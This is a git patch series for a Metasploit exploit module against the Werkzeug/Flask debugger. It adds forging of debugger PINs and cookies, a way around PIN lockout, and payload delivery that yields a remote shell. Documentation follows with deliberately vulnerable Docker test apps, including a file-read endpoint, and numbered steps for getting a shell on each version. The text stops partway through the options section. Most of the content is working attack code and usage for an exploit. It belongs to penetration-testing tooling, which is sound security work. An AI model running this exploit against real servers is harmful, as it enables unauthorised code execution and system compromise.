From d135b572f50d3580e88d104362ef62b38eb0e17a Mon Sep 17 00:00:00 2001 From: Graeme Robinson Date: Sun, 6 Oct 2024 20:18:12 +0100 Subject: [PATCH 01/10] Add support for Cookie/PIN generation to Werkzeug RCE --- .../exploits/multi/http/werkzeug_debug_rce.rb | 384 +++++++++++++++--- 1 file changed, 333 insertions(+), 51 deletions(-) diff --git a/modules/exploits/multi/http/werkzeug_debug_rce.rb b/modules/exploits/multi/http/werkzeug_debug_rce.rb index d21ff28706a2..2e0ef84a9f6c 100644 --- a/modules/exploits/multi/http/werkzeug_debug_rce.rb +++ b/modules/exploits/multi/http/werkzeug_debug_rce.rb @@ -4,79 +4,361 @@ ## class MetasploitModule < Msf::Exploit::Remote - Rank = ExcellentRanking - + prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient + Rank = GoodRanking + + METHODS_WITH_BODY = %w[POST PUT PATCH].freeze + COOKIE_PATTERN = /__wzd[[:xdigit:]]{20}=\d+\|[[:xdigit:]]{12}/.freeze + MAC_PATTERN = /^[[:xdigit:]]{2}([-:]?)(?:[[:xdigit:]]{2}\1){4}[[:xdigit:]]{2}$/.freeze + PIN_PATTERN = /^[[:digit:]-]+$/.freeze + def initialize(info = {}) - super(update_info(info, - 'Name' => 'Werkzeug Debug Shell Command Execution', - 'Description' => %q{ - This module will exploit the Werkzeug debug console to put down a - Python shell. This debugger "must never be used on production - machines" but sometimes slips passed testing. - - Tested against: - 0.9.6 on Debian - 0.9.6 on Centos - 0.10 on Debian - }, - 'Author' => 'h00die ', - 'References' => - [ - ['URL', 'http://werkzeug.pocoo.org/docs/0.10/debug/#enabling-the-debugger'] - ], + super(update_info( + info, + 'Name' => 'Pallete Projects Werkzeug Debugger Remote Code Execution', + 'Description' => 'This module will exploit the Werkzeug debug console to put down a Python shell. Werkzeug ' \ + 'is included with Flask, but not enabled by default. It is also included in other ' \ + 'projects, for example the RunServerPlus extension for Django. It may also be used ' \ + "alone.\n\n" \ + 'The documentation states the following: "The debugger must never be used on production ' \ + 'machines. We cannot stress this enough. Do not enable the debugger in production." Of ' \ + "course this doesn't prevent developers from mistakenly enabling it in production!\n\n" \ + "Tested against the following Werkzeug versions:\n" \ + "- 3.0.3 on Debian 12, Windows 11 and macOS 14.6\n" \ + "- 1.1.4 on Debian 12\n" \ + "- 1.0.1 on Debian 12\n" \ + "- 0.11.5 on Debian 12\n" \ + '- 0.10 on Debian 12', + 'Author' => ['h00die ', + 'Graeme Robinson /@GraSec'], + 'References' => [ + ['URL', 'https://werkzeug.palletsprojects.com/debug/#enabling-the-debugger'], + ['URL', 'https://flask.palletsprojects.com/debugging/#the-built-in-debugger'], + ['URL', + 'https://web.archive.org/web/20150217044248/http://werkzeug.pocoo.org/docs/0.10/debug/#enabling-the-debugger'], + ['URL', + 'https://web.archive.org/web/20151124061830/http://werkzeug.pocoo.org/docs/0.11/debug/#enabling-the-debugger'], + ['URL', + 'https://github.com/pallets/werkzeug/commit/11ba286a1b907110a2d36f5c05740f239bc7deed?diff=unified&' \ + 'w=0#diff-83867b1c4c9b75c728654ed284dc98f7c8d4e8bd682fc31b977d122dd045178a'] + ], 'License' => MSF_LICENSE, 'Platform' => ['python'], - 'Targets' => [[ 'werkzeug 0.10 and older', {}]], + 'Targets' => [ + # pip install werkzeug==3.0.3 flask==3.0.3 + ['Werkzeug > 1.0.1 (Flask > 1.1.4)', + { digest: Digest::SHA1, + digest_inputs: :new, + salt: ' added salt' }], + # pip install werkzeug==1.0.1 flask==1.1.4 + ['Werkzeug 0.11.6 - 1.0.1 (Flask 1.0 - 1.1.4)', + { digest: Digest::MD5, + digest_inputs: :new, + salt: 'shittysalt' }], + # pip install werkzeug==0.11.5 flask==0.12.5 + ['Werkzeug 0.11 - 0.11.5 (Flask < 1.0)', + { digest: Digest::MD5, + digest_inputs: :old, + salt: 'shittysalt' }], + # pip install werkzeug==0.10 flask==0.12.5 + ['Werkzeug < 0.11 (Flask < 1.0)', {}] # No authentication required in this version + ], 'Arch' => ARCH_PYTHON, 'DefaultTarget' => 0, - 'DisclosureDate' => '2015-06-28' + 'DisclosureDate' => 'Jun 28, 2015', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS, ACCOUNT_LOCKOUTS] + } )) register_options( - [ - OptString.new('TARGETURI', [true, 'URI to the console', '/console']) - ], self.class + [OptEnum.new('AUTHMODE', [true, 'Authentication mode', 'generated-cookie', + %w[generated-cookie known-cookie known-PIN none]]), + OptEnum.new('METHOD', [true, 'HTTP Method', 'GET', %w[GET HEAD POST PUT DELETE OPTIONS TRACE PATCH]]), + OptString.new('TARGETURI', [true, 'URI to the console or debugger', '/console']), + + # Options for using a known cookie/PIN + OptString.new('PIN', [false, 'PIN to use for authentication. This can be set to a custom value by the ' \ + "application developer, in which case generating the pin won't work, but if you" \ + 'have path traversal, you may be able to retrieve this pin by reading the ' \ + 'application source code, or, on Linux by reading /proc/self/environ to obtain ' \ + 'the value of the WERKZEUG_DEBUG_PIN environment variable', nil], + conditions: %w[AUTHMODE == known-PIN]), + OptString.new('COOKIE', [false, 'Cookie to use for authentication', nil], + conditions: %w[AUTHMODE == known-cookie]), + + # Options for generating cookie/PIN + OptString.new('APPNAME', [false, 'Name of the app. Often Flask, DebuggedApplication or wsgi_app', 'Flask'], + conditions: %w[AUTHMODE == generated-cookie]), + # https://stackoverflow.com/questions/69002675/on-debian-11-bullseye-proc-self-cgroup-inside-a-docker-container-does-not-sho + # https://stackoverflow.com/questions/68816329/how-to-get-docker-container-id-from-within-the-container-with-cgroup-v2 + OptString.new('CGROUP', [false, + "Control group. This may be an empty string (''), for example if the OS running the " \ + 'app is Linux and supports cgroup v2, or the OS is not Linux. If you have path ' \ + 'traversal on Linux, this could be read from /proc/self/cgroup', + ''], conditions: %w[AUTHMODE == generated-cookie]), + OptString.new('FLASKPATH', [false, + 'Path to (and including) site-packages/flask/app.py. If you have triggered the ' \ + 'debugger via an exception, it will be at the top of the stack trace. E.g. ' \ + '/usr/local/lib/python3.12/site-packages/flask/app.py (the file extension may ' \ + 'need to be changed to .pyc)', ''], + conditions: %w[AUTHMODE == generated-cookie]), + # https://learn.microsoft.com/en-us/windows/win32/api/rpcdce/nf-rpcdce-uuidcreatesequential + OptString.new('MACADDRESS', [false, + 'MAC address of the system that the service is running on. If you have path ' \ + 'traversal on Linux, this could be read from /sys/class/net/eth0/address.', nil], + conditions: %w[AUTHMODE == generated-cookie]), + OptString.new('MACHINEID', [false, + 'If you have path traversal on Linux, this could be read from /etc/machine-id, or ' \ + "if that doesn't exist, /proc/sys/kernel/random/boot_id. On Windows it is a UUID " \ + 'stored in the registry at HKLM\SOFTWARE\Microsoft\Cryptography\MachineGuid. On ' \ + 'macOS, this is the UTF-8 encoded serial number of the system (lower-case ' \ + 'hexadecimal), padded to 32 characters. E.g. N0TAREALSERIAL becomes ' \ + '4e3054415245414c53455249414c000000000000000000000000000000000000. This can be ' \ + "retrieved with the following command 'ioreg -c IOPlatformExpertDevice | grep " \ + '\"serial-number\"', nil], + conditions: %w[AUTHMODE == generated-cookie]), + OptString.new('MODULENAME', [false, 'Name of the module. Often flask.app or werkzeug.debug', 'flask.app'], + conditions: %w[AUTHMODE == generated-cookie]), + OptString.new('SERVICEUSER', [false, + 'User account name that the service is running under. If you have path ' \ + 'traversal on Linux, you may be able to read this from /proc/self/environ', + 'root'], + conditions: %w[AUTHMODE == generated-cookie]), + + # Options for sending a body, if required to invoke the debugger + OptString.new( + 'REQUESTBODY', + [false, "Body to send in #{METHODS_WITH_BODY.join('/')} request, if required to trigger the debugger"], + conditions: ['METHOD', 'in', METHODS_WITH_BODY] + ), + + # This is a hack because if I use "!= nil", then "info" shows "... is not :", which reads badly. Don't judge me! + OptString.new('REQUESTCONTENTTYPE', [false, 'Body encoding', 'application/x-www-form-urlencoded'], + conditions: %w[REQUESTBODY == set])], + self.class ) end - def check - res = send_request_cgi( - 'method' => 'GET', - 'uri' => normalize_uri(datastore['TARGETURI']) + def all_generation_values_set? + datastore['SERVICEUSER'] && datastore['MODULENAME'] && datastore['APPNAME'] && datastore['FLASKPATH'] && + datastore['MACADDRESS'] && datastore['MACHINEID'] && datastore['CGROUP'] + end + + def config_valid? + # Check that target supports selected authentication mode + if datastore['TARGET'] == 3 && datastore['AUTHMODE'] != 'none' + fail_with(Failure::BadConfig, + "AUTHMODE is set to '#{datastore['AUTHMODE']}', but TARGET '#{datastore['TARGET']}' does not " \ + "require/support authentication. Change TARGET or set AUTHMODE to 'none'") + end + + case datastore['AUTHMODE'] + when 'known-cookie' + unless COOKIE_PATTERN =~ datastore['COOKIE'] + fail_with(Failure::BadConfig, + 'AUTHMODE is set to known-cookie, so COOKIE must be set to a valid cookie, e.g. ' \ + "'__wzda0b1c2d3e4f5a6b7c8d9=9999999999|a0b1c2d3e4f5'") + end + when 'known-PIN' + unless PIN_PATTERN =~ datastore['PIN'] + fail_with(Failure::BadConfig, + 'AUTHMODE is set to known-PIN, so PIN must be set to a number with or without hyphens') + end + when 'generated-cookie' + # Check that *all* values used to generate cookie & pin are set + unless all_generation_values_set? + fail_with(Failure::BadConfig, + "AUTHMODE is set to #{datastore['AUTHMODE']}, so ALL of the following must be set: " \ + 'SERVICEUSER, MODULENAME, APPNAME, MACADDRESS, MACHINEID, FLASKPATH & CGROUP') # Alphabetise + end + # Check for valid MAC address + unless MAC_PATTERN =~ datastore['MACADDRESS'] + fail_with( + Failure::BadConfig, "#{datastore['MACADDRESS']} is not a valid MAC address" + ) + end + end + + # Check that requestbody is not specified if method doesn't support it + return unless datastore['REQUESTBODY'] && !METHODS_WITH_BODY.include?(datastore['METHOD']) + + fail_with( + Failure::BadConfig, + "REQUESTBODY set but METHOD ('#{datastore['METHOD']}') does not support a request body" ) + end - # https://github.com/mitsuhiko/werkzeug/blob/cc8c8396ecdbc25bedc1cfdddfe8df2387b72ae3/werkzeug/debug/tbtools.py#L67 - if res && res.body =~ /Werkzeug powered traceback interpreter/ - return Exploit::CheckCode::Appears + # Retrieve secret and frame + def secret_and_frame + res = send_request_cgi( + 'method' => datastore['METHOD'], + 'uri' => normalize_uri(target_uri), + 'data' => (datastore['REQUESTBODY'] if METHODS_WITH_BODY.include?(datastore['METHOD'])), + 'ctype' => (datastore['REQUESTCONTENTTYPE'] if datastore['REQUESTBODY']) + ) + unless res + print_error "Unable to connect to http#{'s' if datastore['SSL']}://#{datastore['RHOST']}:#{datastore['RPORT']}" + return end - Exploit::CheckCode::Safe + # Regex hell. Considered an HTML parser here but regex would still be needed to parse the JavaScript + # A redundant escape is required to work around broken syntax highlighting in Sublime Text + # rubocop:disable Style/RedundantRegexpEscape + /(?:EVALEX\ =\ (?true),.*?)? # Code execution in debugger enabled + (?:EVALEX_TRUSTED\ =\ (?false),.*)? # Pin required if 'false' matches. This technique supports v0.10- + SECRET\ =\ \"(?[a-zA-Z0-9]{20})"; # Secret + (?:.*? id="frame-(?[0-9]+)")? # Frame number, if it exists (i.e. if debugger) + .*Werkzeug\ powered\ traceback\ interpreter # Service Identifier + /mx.match(res.body) + # rubocop:enable Style/RedundantRegexpEscape end - def exploit - # first we need to get the SECRET code + # Authenticate with PIN to retrieve cookie + def cookies(secret) + start = Process.clock_gettime(Process::CLOCK_MONOTONIC) res = send_request_cgi( - 'method' => 'GET', - 'uri' => normalize_uri(datastore['TARGETURI']) + 'uri' => normalize_uri(target_uri), + 'vars_get' => { '__debugger__' => 'yes', + 'cmd' => 'pinauth', + 'pin' => datastore['PIN'], + 's' => secret } ) + finish = Process.clock_gettime(Process::CLOCK_MONOTONIC) + unless res + print_error "Unable to connect to http#{'s' if datastore['SSL']}://#{datastore['RHOST']}:#{datastore['RPORT']}" + fail_with(Failure::TimeoutExpired) + end + if res.get_json_document['exhausted'] + fail_with(Failure::NoAccess, + "Failed to authenticate using PIN: #{datastore['PIN']}. PIN authentication attempts " \ + 'exhausted. The remote application must be restarted to re-enable PIN authentication.') + end + unless COOKIE_PATTERN =~ res.get_cookies + duration = (finish - start).round(1) + attempts_text = duration < 5 ? 'at least' : 'fewer than' + fail_with(Failure::NoAccess, + "Failed to authenticate using PIN: #{datastore['PIN']}. However, the application did not report " \ + 'failed authentication exhaustion count has been reached. The time taken to receive a response ' \ + "indicates that #{attempts_text} 5 more attempts can be made before PIN authentication is disabled " \ + 'which would require the application to be restarted to re-enable PIN authentication.') + end + res.get_cookies + end + + def generated_cookie + # Ported from https://github.com/pallets/werkzeug/blob/main/src/werkzeug/debug/__init__.py + digest = target.opts[:digest].new + digest << datastore['SERVICEUSER'] + digest << datastore['MACADDRESS'].delete(':-').to_i(16).to_s if target.opts[:digest_inputs] == :old + digest << datastore['MODULENAME'] + digest << datastore['APPNAME'] + digest << datastore['FLASKPATH'] + if target.opts[:digest_inputs] == :new + digest << datastore['MACADDRESS'].delete(':-').to_i(16).to_s + digest << datastore['MACHINEID'] + cgroup = datastore['CGROUP'].split('/') + digest << cgroup[2] if cgroup[2] + end + digest << 'cookiesalt' + case target.opts[:digest_inputs] + when :new + cookie_key = "__wzd#{digest.hexdigest[0..19]}" + digest << 'pinsalt' + when :old + cookie_key = "__wzd#{digest.hexdigest[0..11]}" + end + pin = digest.hexdigest.to_i(16).to_s[0..8].scan(/.{3}/).join '-' + print_status "Generated authentication PIN: #{pin}" + expiry = '9999999999' # Sat, 20 Nov 2286 17:46:39 +00:00 (!) + case target.opts[:digest_inputs] + when :new + cookie_value = digest.hexdigest("#{pin}#{target.opts[:salt]}")[0, 12] + cookie = "#{cookie_key}=#{expiry}|#{cookie_value}" + when :old + cookie = "#{cookie_key}=#{expiry}" + end + print_status "Generated authentication cookie: #{cookie}" + cookie + end + + def execute_python(cmd, secret, frame, cookies = '') + send_request_cgi( + 'method' => 'GET', + # Path without querystring because triggering debugger may have required parameters + 'uri' => normalize_uri(target_uri.path), + 'vars_get' => { + '__debugger__' => 'yes', + 'cmd' => cmd, + 's' => secret, + 'frm' => frame + }, + 'cookie' => cookies + ) + end + + def check_code_exec(secret, frame, cookies = '') + execute_python(1, secret, frame, cookies).body.start_with? ">>> 1\n" + end + + def check + config_valid? + match = secret_and_frame + unless match + print_error 'HTTP response not recognised as Werkzeug' + return Exploit::CheckCode::Unknown + end + unless match[:evalex_enabled] + vprint_error 'Debugger does not allow code execution' + return Exploit::CheckCode::Safe # blud + end + vprint_status 'Debugger allows code execution' + if match[:pin_required] + vprint_warning 'Debugger requires authentication' + return Exploit::CheckCode::Detected + end + vprint_status 'Debugger does not require authentication' + # Now check whether code execution is possible by evaluating '1' + unless check_code_exec(match[:secret], match[:frame] || 0) + vprint_error 'Attempted code execution failed' + Exploit::CheckCode::Safe + end + vprint_status 'Code execution was successful' + Exploit::CheckCode::Vulnerable + end + + def exploit + # First we try to get the SECRET code (and frame number if debugger rather than console) + fail_with(Failure::UnexpectedReply, 'Werkzeug "Secret" could not be retrieved') unless (match = secret_and_frame) + vprint_status "Secret Code: #{match[:secret]}" + vprint_status "Frame: #{match[:frame] || 0}" # Frame should be set to 0 if not in response (e.g. if using console) + + case datastore['AUTHMODE'] + when 'known-PIN' + cookies = cookies match[:secret] + vprint_status "Authenticated using PIN: #{datastore['PIN']}" + print_status "Retrieved authentication cookie: #{cookies}" + when 'known-cookie' + cookies = datastore['cookie'] + when 'generated-cookie' + cookies = generated_cookie + end + + # Check whether code execution is possible by evaluating '1' + unless check_code_exec(match[:secret], match[:frame] || 0, cookies) + fail_with(Failure::NoAccess, 'Response indicates that code execution failed') + end + vprint_status 'Code execution was successful. Sending payload.' - if res && res.body =~ /SECRET = "([a-zA-Z0-9]{20})";/ - secret = $1 - vprint_status("Secret Code: #{secret}") - send_request_cgi( - 'method' => 'GET', - 'uri' => normalize_uri(datastore['TARGETURI']), - 'vars_get' => { - '__debugger__' => 'yes', - 'cmd' => payload.encoded, - 'frm' => '0', - 's' => secret - } - ) - else - print_error('Secret code not detected.') + # Send the payload to the debugger along with the values extracted from the previous response + res = execute_python(payload.encoded, match[:secret], match[:frame] || 0, cookies) + unless res.body.start_with? '>>> ' + fail_with(Failure::PayloadFailed, 'Response indicates that payload has not been executed sucessfully') end + vprint_status 'Response indicates that payload has been executed. Note: This does not indicate a lack of errors' end end From 97c5afed521b8bef28587c8ab178a015ba29af94 Mon Sep 17 00:00:00 2001 From: Graeme Robinson Date: Sun, 6 Oct 2024 20:19:48 +0100 Subject: [PATCH 02/10] Update werkzeug exploit module documentation --- .../exploit/multi/http/werkzeug_debug_rce.md | 641 ++++++++++++++++-- 1 file changed, 593 insertions(+), 48 deletions(-) diff --git a/documentation/modules/exploit/multi/http/werkzeug_debug_rce.md b/documentation/modules/exploit/multi/http/werkzeug_debug_rce.md index 79032305ac6c..ace0d35cf95f 100644 --- a/documentation/modules/exploit/multi/http/werkzeug_debug_rce.md +++ b/documentation/modules/exploit/multi/http/werkzeug_debug_rce.md @@ -1,72 +1,617 @@ ## Vulnerable Application -Verified against: - + 0.9.6 on Debian - + 0.9.6 on Centos - + 0.10 on Debian - -A sample application which enables the console debugger is available [here](https://github.com/h00die/MSF-Testing-Scripts/blob/master/werkzeug_console.py) +### Background -## Verification Steps +The [Werkzeug](https://werkzeug.palletsprojects.com/) +[debugger](https://werkzeug.palletsprojects.com/en/3.0.x/debug/) allows +developers to execute python commands in a web application either when an +exception is not caught by the application, or via the dedicated console if +enabled. + +Werkzeug is included with [Flask](https://flask.palletsprojects.com/), but the +debugger is not enabled by default. It is also included in other projects, for +example +[RunServerPlus](https://django-extensions.readthedocs.io/en/latest/runserver_plus.html), +part of [django-extensions](https://django-extensions.readthedocs.io/) and may +also be used alone. + +[The Werkzeug documentation](https://werkzeug.palletsprojects.com/en/3.0.x/debug/) +states: "*The debugger allows the execution of arbitrary code which makes it a +major security risk. The debugger must never be used on production machines. We +cannot stress this enough. Do not enable the debugger in production. Production +means anything that is not development, and anything that is publicly +accessible.*" + +Additionally, +[the Flask documentation](https://flask.palletsprojects.com/en/3.0.x/debugging/) +states: "*Do not run the development server, or enable the built-in debugger, in +a production environment. The debugger allows executing arbitrary Python code +from the browser. It’s protected by a pin, but that should not be relied on for +security.*" + +**Of course this doesn't prevent developers from mistakenly enabling it in +production!** + +### Exploit Details + +Werkzeug versions 0.10 and older of did not include the PIN security feature, +therefore if the debugger was enabled then arbitrary code execution could be +easily achieved. Versions 0.11 and above enable the PIN by default, though it +can be disabled by the application developer. The format of the PIN is 9 +numerical digits, and can include hyphens (which are ignored by the +application.) I.e. `123456789` is the same as `123-456-789`. The PIN is logged +to stdout when the PIN prompt is shown to the user, therefore if access to +stdout is possible then it may be able to obtain the PIN using that feature. + +A custom PIN can be set by the application developer as an environment variable, +but it is more commonly generated by Werkzeug using an algorithm that is seeded +by information about the environment that the application is running in. + +Therefore, if the debugger or console is enabled and is not protected by a PIN, +or if it is possible to obtain the PIN, cookie or the required information about +the environment that the app is running in (e.g. by exploiting a separate path +traversal bug in the app) then remote Python code execution will be possible. + +If the debugger is "secured" with a PIN then, it will be automatically locked +after 11 unsuccessful authentication attempts, requiring a restart to re-enable +PIN based authentication. This can be avoided by calculating the value of a +cookie and sending that to the debugger instead of sending the PIN, which is +what this module does, unless the Known-PIN method of exploitation is used. +Furthermore, authentication using a cookie works even if the PIN-based +authentication method has been locked because of too many failed authentication +attempts. This means that this exploit will work even if the debugger +PIN-authentication is locked. + +[HackTheBox had a challenge called "Agile"](https://app.hackthebox.com/machines/Agile) +that required this vulnerability to be exploited in order to gain an initial +foothold. As a result there are many walkthroughs available online that explain +how a valid PIN can be generated using +[the algorithm in the Werkzeug source code](https://github.com/pallets/werkzeug/blob/main/src/werkzeug/debug/__init__.py#L142) +along with information about the environment. As far as I can tell, none of +these walkthroughs mention that a cookie can also be generated, and that a +cookie will bypass a PIN-locked debugger. Neither do they mention that very old +versions of Werkzeug don't require PIN or that the PIN/cookie generation +algorithm has changed over time. + +To support the different PIN/cookie generation algorithms, this module supports +multiple different versions of Werkzeug as the target. + +It should be noted that version +[3.0.3 includes a check](https://github.com/pallets/werkzeug/blob/main/src/werkzeug/debug/__init__.py#L309) +to see ensure that requests that include python code to be executed by the +debugger must come from localhost or 127.0.0.1. This is done by checking the +Host HTTP header, and therefore can in some cases be bypassed by setting the +Host header manually using the VHOST parameter in this module. + +## Tested Versions - 1. Install the application - 2. Start msfconsole - 3. Do: `use exploit/multi/http/werkzeug_debug_rce` - 4. Do: `set rport ` - 5. Do: `set rhost ` - 6. Do: `check` +This module has been verified against the following versions of Werkzeug: +- 3.0.3 on Debian 12, Windows 11 and macOS 14.6 +- 1.1.4 on Debian 12 +- 1.0.1 on Debian 12 +- 0.11.5 on Debian 12 +- 0.10 on Debian 12 + +## Sample Vulnerable Application + +The following Docker Compose file, Dockerfiles and Python script can be used to +build and run a set of containers that have the console enabled (at /console) +and also contains endpoints that cause the application to attempt to read the +content of a file and include it in the response. These endpoints can be used +for arbitrary file read, but also for triggering the debugger, for example by +requesting the content of a file that doesn't exist in the container. + +#### compose.yaml + +``` +services: + werkzeug-3.0.3: + build: + dockerfile: werkzeug-3.0.3.Dockerfile + ports: + - "80:80" + werkzeug-1.0.1: + build: + dockerfile: werkzeug-1.0.1.Dockerfile + ports: + - "81:80" + werkzeug-0.11.5: + build: + dockerfile: werkzeug-0.11.5.Dockerfile + ports: + - "82:80" + werkzeug-0.10: + build: + dockerfile: werkzeug-0.10.Dockerfile + ports: + - "83:80" + werkzeug-3.0.3-basicauth-custompin: + build: + dockerfile: werkzeug-3.0.3-basicauth.Dockerfile + environment: + WERKZEUG_DEBUG_PIN: 1234 + ports: + - "84:80" + werkzeug-3.0.3-noevalex: + build: + dockerfile: werkzeug-3.0.3.Dockerfile + ports: + - "85:80" + entrypoint: + - ./app.py + - --no-evalex +``` + +#### werkzeug-3.0.3.Dockerfile + +``` +# syntax=docker/dockerfile:1 +FROM python:3 +RUN pip install werkzeug==3.0.3 flask==3.0.3 +COPY report.txt . +COPY --chmod=744 app.py . +EXPOSE 80 +ENTRYPOINT ["./app.py"] ``` -[+] 10.108.106.201:8081 - The target is vulnerable. + +#### werkzeug-1.0.1.Dockerfile + +``` +# syntax=docker/dockerfile:1 +FROM python:2 +RUN pip install werkzeug==1.0.1 flask==1.1.4 +COPY report.txt . +COPY --chmod=744 app.py . +EXPOSE 80 +ENTRYPOINT ["./app.py"] +``` + +#### werkzeug-0.11.5.Dockerfile + +``` +# syntax=docker/dockerfile:1 +FROM python:2 +RUN pip install werkzeug==0.11.5 flask==0.12.5 +COPY report.txt . +COPY --chmod=744 app.py . +EXPOSE 80 +ENTRYPOINT ["./app.py"] +``` + +#### werkzeug-0.10.Dockerfile + +``` +# syntax=docker/dockerfile:1 +FROM python:2 +RUN pip install werkzeug==0.10 flask==0.12.5 +COPY report.txt . +COPY --chmod=744 app.py . +EXPOSE 80 +ENTRYPOINT ["./app.py"] +``` + +#### werkzeug-3.0.3-basicauth.Dockerfile + +``` +# syntax=docker/dockerfile:1 +FROM python:3 +RUN pip install werkzeug==3.0.3 flask==3.0.3 flask-httpauth==4.8.0 +COPY report.txt . +COPY --chmod=744 app-basicauth.py app.py +EXPOSE 80 +ENTRYPOINT ["./app.py"] +``` + +#### app.py + +``` +#!/usr/bin/env python + +import click +from flask import Flask, request, url_for, make_response +from sys import argv + +app = Flask(__name__) + +@app.route("/") +def index(): + return ( + '

' + 'Download Report Using GET

' + '

' + '' + '' + '

' +) + +def build_response(filename): + with open(filename) as file: + response = make_response(file.read()) + response.headers['Content-disposition'] = 'attachment' + return response + +@app.route("/getdownload") +def getdownload(): + return build_response(request.args.get('file')) + +@app.route("/postdownload", methods=['POST', 'PUT']) +def postdownload(): + return build_response(request.form['file']) + +@click.command() +@click.option("--no-evalex", is_flag=True, default=False) +def runserver(no_evalex): + evalex = not no_evalex + app.run(host='0.0.0.0', port=80, debug=True, threaded=True, + use_reloader=False, use_evalex=evalex) + +if __name__ == '__main__': + runserver() +``` + +#### app-basicauth.py + +``` +#!/usr/bin/env python + +import click +from flask import Flask, request, url_for, make_response +from sys import argv + +from flask_httpauth import HTTPBasicAuth +from werkzeug.security import generate_password_hash, check_password_hash + +app = Flask(__name__) + +auth = HTTPBasicAuth() +users = {"admin": generate_password_hash("admin")} + +@auth.verify_password +def verify_password(username, password): + if username in users and \ + check_password_hash(users.get(username), password): + return username + +@app.route("/") +@auth.login_required +def index(): + return ( + '

' + 'Download Report Using GET

' + '

' + '' + '' + '

' +) + +def build_response(filename): + with open(filename) as file: + response = make_response(file.read()) + response.headers['Content-disposition'] = 'attachment' + return response + +@app.route("/getdownload") +@auth.login_required +def getdownload(): + return build_response(request.args.get('file')) + +@app.route("/postdownload", methods=['POST', 'PUT']) +@auth.login_required +def postdownload(): + return build_response(request.form['file']) + +@click.command() +@click.option("--no-evalex", is_flag=True, default=False) +def runserver(no_evalex): + evalex = not no_evalex + app.run(host='0.0.0.0', port=80, debug=True, threaded=True, + use_reloader=False, use_evalex=evalex) + +if __name__ == '__main__': + runserver() ``` - 7. Do: `set payload python/meterpreter/reverse_tcp` - 8. Do: `set lhost ` - 9. Do: `exploit` - 10. You should get a shell. + +## Verification Steps + +1. Run the docker containers +2. Start msfconsole + +### Werkzeug 3.0.3 using /console + +3. Do: `use exploit/multi/http/werkzeug_debug_rce` +4. Do: `set RHOSTS ` +5. Do: `set LHOST ` +6. Do: `set VHOST 127.0.0.1` +7. Do: `set MACADDRESS ` +8. Do: `set MACHINEID ` +9. Do: `set FLASKPATH /usr/local/lib/python3.12/site-packages/flask/app.py` +10. Do: `run` +11. You should see a PIN and a cookie being logged then get a shell. + +### Werkzeug 3.0.3 using debugger (GET) + +12. Do: `set TARGETURI /getdownload?file=` +13. Do: `run` +14. You should see a PIN and a cookie being logged then get a shell. + +### Werkzeug 3.0.3 using debugger (POST) + +15. Do: `set METHOD POST` +16. Do: `set TARGETURI /postdownload` +17. Do: `set REQUESTBODY file=` +18. Do: `run` +19. You should see a PIN and a cookie being logged then get a shell. + +### Werkzeug 1.0.1 using /console + +20. Do: `unset METHOD` +21. Do: `unset TARGETURI` +22. Do: `unset REQUESTBODY` +23. Do: `set RPORT 81` +24. Do: `set TARGET 1` +25. Do: `set MACADDRESS ` +26. Do: `set MACHINEID ` +27. Do: `set FLASKPATH /usr/local/lib/python2.7/site-packages/flask/app.pyc` +28. Do: `run` +29. You should see a PIN and a cookie being logged then get a shell. + +### Werkzeug 1.0.1 using /debugger (GET) + +30. Do: `set TARGETURI /getdownload?file=` +31. Do: `run` +32. You should see a PIN and a cookie being logged then get a shell. + +### Werkzeug 1.0.1 using debugger (POST) + +33. Do: `set METHOD POST` +34. Do: `set TARGETURI /postdownload` +35. Do: `set REQUESTBODY file=` +36. Do: `run` +37. You should see a PIN and a cookie being logged then get a shell. + +### Werkzeug 0.11.5 using /console + +38. Do: `unset METHOD` +39. Do: `unset TARGETURI` +40. Do: `unset REQUESTBODY` +41. Do: `set RPORT 82` +42. Do: `set TARGET 2` +43. Do: `set MACADDRESS ` +44. Do: `set MACHINEID ` +45. Do: `run` +46. You should see a PIN and a cookie being logged then get a shell. + +### Werkzeug 0.11.5 using /debugger (GET) + +47. Do: `set TARGETURI /getdownload?file=` +48. Do: `run` +49. You should see a PIN and a cookie being logged then get a shell. + +### Werkzeug 0.11.5 using debugger (POST) + +50. Do: `set METHOD POST` +51. Do: `set TARGETURI /postdownload` +52. Do: `set REQUESTBODY file=` +53. Do: `run` +54. You should see a PIN and a cookie being logged then get a shell. + +### Werkzeug 0.10.1 (No authentication required) using /console + +55. Do: `unset METHOD` +56. Do: `unset TARGETURI` +57. Do: `unset REQUESTBODY` +58. Do: `set RPORT 83` +59. Do: `set TARGET 3` +60. Do: `set AUTHMODE none` +61. Do: `set MACADDRESS ` +62. Do: `set MACHINEID ` +63. Do: `run` +64. You should see a PIN and a cookie being logged then get a shell. + +### Werkzeug 0.10.1 (No authentication required) using /debugger (GET) + +65. Do: `set TARGETURI /getdownload?file=` +66. Do: `run` +67. You should see a PIN and a cookie being logged then get a shell. + +### Werkzeug 0.10.1 (no authentication required) using debugger (POST) + +68. Do: `set METHOD POST` +69. Do: `set TARGETURI /postdownload` +70. Do: `set REQUESTBODY file=` +71. Do: `run` +72. You should see a PIN and a cookie being logged then get a shell. + +### Werkzeug 3.0.3 using debugger (POST) and known PIN with Basic HTTP Auth + +73. Do: `set RPORT 84` +74. Do: `set TARGET 0` +75. Do: `set AUTHMODE known-PIN` +76. Do: `set HTTPUSERNAME admin` +77. Do: `set HTTPPASSWORD admin` +78. Do: `set PIN 1234` +79. Do: `run` +80. You should see a cookie being logged then get a shell. + +### Werkzeug 3.0.3 interactive debugger disabled + +81. Do: `set RPORT 85` +82. Do: `unset AUTHMODE` +83. Do: `set MACADDRESS ` +84. Do: `set MACHINEID ` +85. Do: `set FLASKPATH /usr/local/lib/python3.12/site-packages/flask/app.py` +86. Do: `run` +87. You should see a failure due to the check failing. ## Options - **TARGETURI** +### `AUTHMODE` + +Method of authentication. Valid values are: - TARGETURI by default is `/console`, as defined by werkzeug, however it can be changed within the python script. +- `generated-cookie`: Cookie generated from information provided about the + application's environment. **When this mode is used, the following additional + options must be set:** + - `APPNAME`: The name of the application according to Werkzeug. This is often + `Flask`, `DebuggedApplication` or `wsgi_app`. Used along with other + information to generate a PIN and cookie. + - `CGROUP`: Control group. This may be an empty string (''), for example if + the OS running the app is Linux and supports cgroup v2, or the OS is not + Linux. If you have path traversal on Linux, this could be read from + `/proc/self/cgroup` + - `FLASKPATH`: Path to (and including) `site-packages/flask/app.py`. *If you + have triggered the debugger via an exception, it will be at the top of 